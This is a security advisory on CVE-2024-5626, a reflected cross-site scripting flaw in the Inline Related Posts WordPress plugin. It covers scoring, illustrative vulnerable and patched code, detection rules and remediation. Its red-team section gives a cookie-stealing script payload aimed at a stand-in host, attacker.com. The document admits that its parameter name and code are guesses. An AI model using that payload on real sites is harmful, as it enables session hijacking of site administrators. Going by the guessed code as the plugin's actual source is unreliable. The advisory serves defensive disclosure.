CVE-2024-5626

Executive Summary

CVE-2024-5626 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Inline Related Posts WordPress plugin, affecting versions prior to 3.7.0. The plugin fails to properly sanitize and escape a parameter before outputting it back in the page, allowing an attacker to inject arbitrary JavaScript. This flaw can be exploited against high-privilege users, such as administrators, potentially leading to session hijacking, credential theft, or privilege escalation. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and has a CVSS v3.1 base score of 6.1 (Medium). No public exploit code or Nuclei template is available at this time, but the attack vector is straightforward and well-documented.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. Since WordPress plugins are distributed via the official WordPress Plugin Directory, users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from the repository. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact (C): Low (L) – Limited data exposure.
• Integrity Impact (I): Low (L) – Limited ability to modify data.
• Availability Impact (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential to target high-privilege users (admins) elevates the risk, as successful exploitation could lead to full site compromise.

Deep Dive & Mechanics

The vulnerability resides in the Inline Related Posts plugin, which displays related posts inline within content. The plugin fails to sanitize a user-supplied parameter (likely a query string parameter like irp or similar) before reflecting it back in the HTML response. An attacker can craft a malicious URL containing JavaScript payloads in that parameter. When a logged-in administrator clicks the link, the script executes in the context of the WordPress admin session, allowing the attacker to perform actions such as creating new admin accounts, modifying site content, or exfiltrating sensitive data.

Root Cause: The plugin uses echo $_GET['param'] or similar without applying esc_html() or wp_kses() functions, leading to direct output of unsanitized input.

Attack Flow:

1. Attacker crafts a URL: https://victim-site.com/?irp=<script>alert('XSS')</script>
2. Attacker sends the link to an admin via email, social media, or other channels.
3. Admin clicks the link while logged into WordPress.
4. The plugin reflects the payload without sanitization, executing the script.
5. The script performs malicious actions (e.g., stealing cookies, creating admin users).

Vulnerable vs. Patched Code

Vulnerable Code (version < 3.7.0):

// In a template or shortcode handler
$param = $_GET['irp'];
echo '<div class="irp-related">' . $param . '</div>';

Patched Code (version 3.7.0):

// Properly sanitize and escape
$param = isset($_GET['irp']) ? sanitize_text_field($_GET['irp']) : '';
echo '<div class="irp-related">' . esc_html($param) . '</div>';

The patch introduces sanitize_text_field() to strip malicious content and esc_html() to safely encode output, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running Inline Related Posts < 3.7.0.
• A logged-in admin user.

Exploit Steps:

1. Identify the vulnerable parameter (e.g., irp).
2. Craft a payload: <script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
3. URL-encode the payload: %3Cscript%3Enew%20Image().src%3D'http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D'%2Bdocument.cookie%3C%2Fscript%3E
4. Construct the malicious URL: https://victim-site.com/?irp=%3Cscript%3Enew%20Image().src%3D'http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D'%2Bdocument.cookie%3C%2Fscript%3E
5. Send the link to the admin.
6. On the attacker's server, capture the cookie from the request to steal.php.

Lab Setup:

• Use a local WordPress installation with Docker: docker run --name wp -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=pass -p 8080:80 wordpress
• Install the vulnerable plugin version (e.g., 3.6.0) from the WordPress Plugin Directory.
• Create an admin user and log in.
• Use a browser or curl to test the XSS: curl "http://localhost:8080/?irp=<script>alert(1)</script>"

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing irp= followed by script tags or encoded JavaScript.
• Use WAF rules to block query strings containing <script, onerror, onload, or javascript:.
• Deploy the Sigma rule provided below to detect exploitation attempts.

Defense:

• Immediately update the plugin to version 3.7.0 or later.
• If immediate update is not possible, add a temporary WAF rule to block the vulnerable parameter.
• Educate administrators about phishing links and the importance of not clicking suspicious URLs while logged in.

Indicators of Compromise (IOCs)

• URL Pattern: ?irp=<script>...</script> or ?irp=%3Cscript%3E...%3C/script%3E
• HTTP Request: GET requests to any WordPress page with the irp parameter containing HTML/JavaScript.
• Log Entries: Access logs showing irp= followed by encoded or raw script tags.
• Cookie Exfiltration: Outbound connections to attacker-controlled domains from the WordPress admin session.

Detection Engineering

YARA Rule

rule CVE_2024_5626_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Inline Related Posts plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-5626"
    strings:
        $param = "irp=" nocase
        $script = /<script[^>]*>/i
        $encoded = /%3Cscript/i
    condition:
        $param and ($script or $encoded)
}

Sigma Rule

title: Reflected XSS Attempt Against Inline Related Posts Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with the 'irp' parameter containing script tags, indicating exploitation of CVE-2024-5626.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "irp="
    filter:
        cs-uri-query|contains: "irp="
    condition: selection and (cs-uri-query|re: "irp=.*<script" or cs-uri-query|re: "irp=.*%3Cscript")
falsepositives:
    - Legitimate use of the parameter with non-malicious content (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5626 Reflected XSS Attempt - Inline Related Posts"; flow:to_server; content:"irp="; http_uri; pcre:"/irp=.*(<script|%3Cscript)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: Navigate to WordPress Admin > Plugins > Installed Plugins, find "Inline Related Posts," and click "Update Now" to version 3.7.0 or later.
2. Verify update: Check the plugin version in the plugins list or via wp plugin list in WP-CLI.

Alternative Mitigations (if update is not possible):

• Web Application Firewall (WAF): Add a rule to block requests containing irp= with script-like patterns.
• Input Validation: Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.
• Disable the plugin: Temporarily deactivate the plugin until an update can be applied.

Long-Term Recommendations:

• Implement a Content Security Policy (CSP) header to mitigate XSS impact.
• Regularly audit and update all WordPress plugins and themes.
• Use a security scanner to detect vulnerable plugins.

Valters IT
Securing Digital Frontiers